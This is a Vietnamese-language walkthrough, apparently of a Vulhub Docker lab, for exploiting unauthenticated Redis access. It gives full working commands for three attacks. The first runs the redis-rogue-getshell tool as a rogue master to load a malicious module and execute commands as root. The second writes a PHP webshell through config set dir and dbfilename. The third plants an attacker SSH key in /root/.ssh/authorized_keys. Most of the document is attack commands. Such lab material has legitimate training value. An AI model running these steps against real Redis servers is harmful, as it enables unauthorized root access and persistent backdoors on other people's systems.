Tổng Quan Môi Trường Kiểm Thử
Trong kịch bản này, chúng ta sẽ xem xét cách khai thác lỗi bảo mật cho phép truy cập không được ủy quyền vào dịch vụ Redis. Các thông số mạng và cấu hình cụ thể như sau:
- Máy tấn công (Attacker): Hệ điều hành Kali Linux, địa chỉ IP giả định là 192.168.50.101.
- Máy mục tiêu (Target): Chạy dịch vụ Redis phiên bản dưới 6.x, địa chỉ IP là 192.168.50.100.
- Điều kiện tiên quyết:
- Dịch vụ Redis đang lắng nghe trên tất cả các interface (0.0.0.0:6379) và không có quy tắc tường lửa nào hạn chế truy cập từ bên ngoài.
- Dịch vụ không yêu cầu xác thực (mật khẩu để trống) hoặc sử dụng mật khẩu yếu.
Quy Trình Khai Thác Lỗ Hổng
1. Khởi Tạo Môi Trường
Sử dụng Docker để triển khai môi trường chứa lỗ hổng. Thực thi lệnh sau để khởi chạy container:
docker-compose up -d
Sau khi khởi động, xác nhận dịch vụ Redis đang hoạt động trên cổng mặc định 6379.
2. Kiểm Tra Kết Nối Không Xác Thực
Sử dụng công cụ dòng lệnh redis-cli để thử kết nối trực tiếp tới máy mục tiêu mà không cần cung cấp thông tin đăng nhập:
redis-cli -h 192.168.50.100
Lưu ý: Cú pháp đầy đủ là
redis-cli -h [IP] -p [Cổng] -a [MậtKhẩu]. Nếu sử dụng cổng mặc định 6379, tham số-pcó thể được bỏ qua.
Thực hiện lệnh ping trong giao diện redis-cli. Nếu phản hồi là PONG, điều này xác nhận kết nối thành công và lỗ hổng tồn tại.
3. Chiếm Quyền Điều Khiển Hệ Thống (Get Shell)
Có hai phương pháp chính để thực thi lệnh từ xa trên máy mục tiêu thông qua lỗ hổng này:
- Sử dụng công cụ tự động hóa
redis-rogue-getshell. - Thực hiện ghi khóa công khai SSH (SSH Public Key) vào máy mục tiêu.
Trong một số môi trường giả lập (như Vulhub), việc ghi file vào thư mục /root/.ssh có thể gặp vấn đề về phân quyền. Do đó, phương pháp sử dụng module mở rộng thường hiệu quả hơn. Tuy nhiên, cả hai kỹ thuật đều sẽ được trình bày dưới đây.
Phương Pháp 1: Sử Dụng Redis Rogue Master
Cơ chế hoạt động:
Các phiên bản Redis trước 5.0.5 hỗ trợ cơ chế sao chép chủ-từ (Master-Slave). Kẻ tấn công có thể thiết lập một máy chủ Redis giả mạo (Rogue Master) và buộc máy nạn nhân kết nối như một nút Slave. Quá trình đồng bộ hóa dữ liệu sẽ được lợi dụng để tải và thực thi các module độc hại.
Các bước thực hiện:
- Thiết lập quan hệ Master-Slave: Máy tấn công chạy script giả mạo làm Master, lắng nghe trên một cổng cụ thể (ví dụ: 9999). Máy nạn nhân được cấu hình để đồng bộ dữ liệu từ máy tấn công.
- Tải Module Độc Hại: Thông qua lệnh
MODULE LOAD, file thư viện chia sẻ (.so) chứa mã độc sẽ được nạp vào bộ nhớ của Redis mục tiêu. - Thực Thi Lệnh: Module đã nạp cung cấp hàm cho phép thực thi lệnh hệ thống, ví dụ như
system.exec.
Triển khai công cụ và thực thi khai thác:
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK
make
cd ..
./redis-master.py -r 192.168.50.100 -p 6379 -L 192.168.50.101 -P 9999 -f RedisModulesSDK/exp/exp.so -c "whoami"
Giải thích tham số:
-r: IP của máy nạn nhân.
-p: Cổng dịch vụ Redis trên máy nạn nhân.
-L: IP máy tấn công (đóng vai trò Master giả mạo).
-P: Cổng lắng nghe trên máy tấn công.
-f: Đường dẫn file module độc hại.
-c: Lệnh hệ thống cần thực thi.
Nếu thành công, đầu ra sẽ hiển thị kết quả của lệnh whoami, thường là root.
Phương Pháp 2: Ghi Khóa SSH Và Webshell
Dưới đây là các lệnh thao tác cơ bản thường dùng khi làm việc với Redis qua CLI:
| Lệnh | Chức Năng |
|---|---|
keys * |
Liệt kê tất cả các key trong database hiện tại |
info |
Xem thông tin cấu hình và trạng thái Redis |
config set dir [đường_dẫn] |
Thay đổi thư mục làm việc mặc định |
config set dbfilename [tên_file] |
Thay đổi tên file dùng để lưu snapshot |
set [key] [giá_trị] |
Gán giá trị cho một key |
save |
Thực hiện sao lưu dữ liệu ngay lập tức |
flushall |
Xóa toàn bộ dữ liệu (Cần thận trọng) |
Kiểm tra ghi file Webshell:
即使 không có dịch vụ web chạy, chúng ta vẫn có thể kiểm tra khả năng ghi file vào hệ thống file của máy nạn nhân.
config set dir /tmp
config set dbfilename backdoor.php
set payload "\r\n\r\n<?php phpinfo(); ?>\r\n\r\n"
save
Lưu ý: Ký tự
\r\nđược thêm vào để đảm bảo nội dung file không bị ghi đè bởi thông tin header mặc định của Redis, giúp file PHP có thể thực thi được.
Kỹ thuật ghi khóa SSH:
Mục tiêu là ghi khóa công khai của máy tấn công vào file authorized_keys trên máy nạn nhân để đăng nhập không cần mật khẩu.
Bước 1: Tạo cặp khóa SSH trên máy tấn công:
ssh-keygen -t rsa
Bước 2: Chuẩn bị nội dung khóa công khai. File khóa thường nằm tại /root/.ssh/id_rsa.pub.
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > pub_key.txt
Bước 3: Đẩy khóa công khai lên Redis và cấu hình đường dẫn lưu:
cat pub_key.txt | redis-cli -h 192.168.50.100 -x set ssh_auth
config set dir /root/.ssh
config set dbfilename authorized_keys
save
Lưu ý: Trong một số môi trường container, bước
config set dir /root/.sshcó thể thất bại do thiếu quyền truy cập ghi vào thư mục gốc. Nếu thành công, fileauthorized_keyssẽ được tạo ra.
Bước 4: Kết nối SSH tới máy mục tiêu sử dụng khóa riêng tư:
ssh -i /root/.ssh/id_rsa root@192.168.50.100